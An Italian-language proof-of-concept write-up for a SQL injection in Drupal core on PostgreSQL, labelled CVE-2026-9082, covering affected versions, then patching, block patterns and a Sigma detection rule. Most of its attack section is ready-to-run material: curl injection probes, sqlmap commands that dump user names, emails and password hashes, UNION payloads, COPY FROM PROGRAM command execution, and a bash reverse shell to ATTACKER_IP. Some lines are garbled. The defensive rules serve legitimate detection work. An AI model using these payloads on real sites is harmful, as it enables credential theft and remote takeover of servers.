
cve poc
Tipo: SQL Injection (CWE-89) Prodotto interessato: Drupal Core (API di astrazione del database) Avviso Drupal: SA-CORE-2026-004 Pubblicato: 20 maggio 2026 Gravità: Altamente Critica (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 è una vulnerabilità di SQL Injection nell'API di astrazione del database del core di Drupal. Il livello DB di Drupal avvolge PDO e sanifica tutte le query prima che raggiungano il database. Questa vulnerabilità aggira tale sanificazione solo per i backend PostgreSQL: richieste HTTP appositamente costruite superano la logica di normalizzazione, iniettando frammenti SQL controllati dall'attaccante direttamente nelle query del database.
MySQL e MariaDB non sono interessati dal vettore di iniezione, sebbene la release di patch includa anche correzioni critiche per Symfony/Twig valide per tutti i backend.
| Ramo | Versioni vulnerabili | Versione corretta |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
Prerequisito: Il target deve utilizzare PostgreSQL come backend del database.
Il livello di astrazione DB di Drupal sanifica i valori tramite query parametrizzate/prepared statement, ma si affida al query builder per fornire SQL strutturale affidabile (nomi dei campi, operatori, target di ORDER BY). Il bug risiede nel modo in cui il driver PostgreSQL gestisce determinati pattern di input durante la costruzione delle query: il dialetto SQL di PostgreSQL differisce da quello di MySQL in aspetti chiave:
||::COPY ... FROM PROGRAMUna richiesta opportunamente costruita introduce caratteri/sequenze che superano la sanificazione a livello di valori di Drupal ma vengono interpretati come SQL strutturale dal parser di PostgreSQL. La superficie d'attacco è raggiungibile senza autenticazione tramite qualsiasi endpoint che passi parametri controllati dall'utente nelle query del database (ricerca, filtri delle viste, invio di moduli, JSON:API, ecc.).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd' se l'utente del database ha privilegi di superuserL'avviso stesso di Drupal: "gli exploit potrebbero essere sviluppati entro ore o giorni dalla divulgazione" (coerente con le CVE storiche del layer DB di Drupal come SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
Bloccare i pattern: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
Assicurarsi che PostgreSQL sia in ascolto solo su localhost o su un'interfaccia privata; non raggiungibile da Internet.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 è una SQL injection senza autenticazione nel core di Drupal che colpisce i backend PostgreSQL. Nonostante un CVSS NVD moderato di 6.5, Drupal la valuta 20/25 (Altamente Critica) perché l'accesso non autenticato + COPY TO PROGRAM di PostgreSQL = RCE diretta in ambienti configurati in modo non corretto. L'ampio range di versioni interessate e le correzioni incluse per Twig SSTI rendono questa una patch critica e urgente per tutti i siti Drupal, in particolare quelli su PostgreSQL in deployment esposti a Internet.
Azione consigliata: Aggiornare immediatamente alla versione patchata per il proprio ramo. Verificare che l'utente applicativo del database non sia un superuser PostgreSQL.
| Sorgente | Segnale |
|---|
| Log web | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM nelle stringhe di query |
| Log di PostgreSQL | Errori di sintassi correlati ai timestamp delle richieste web |
| watchdog di Drupal | Eccezioni DB dagli endpoint di ricerca/viste/jsonapi |
| auditd | postgres che genera processi figli (COPY TO PROGRAM) |
| Tabella utenti di Drupal | Nuove righe di ruolo administrator con timestamp recenti |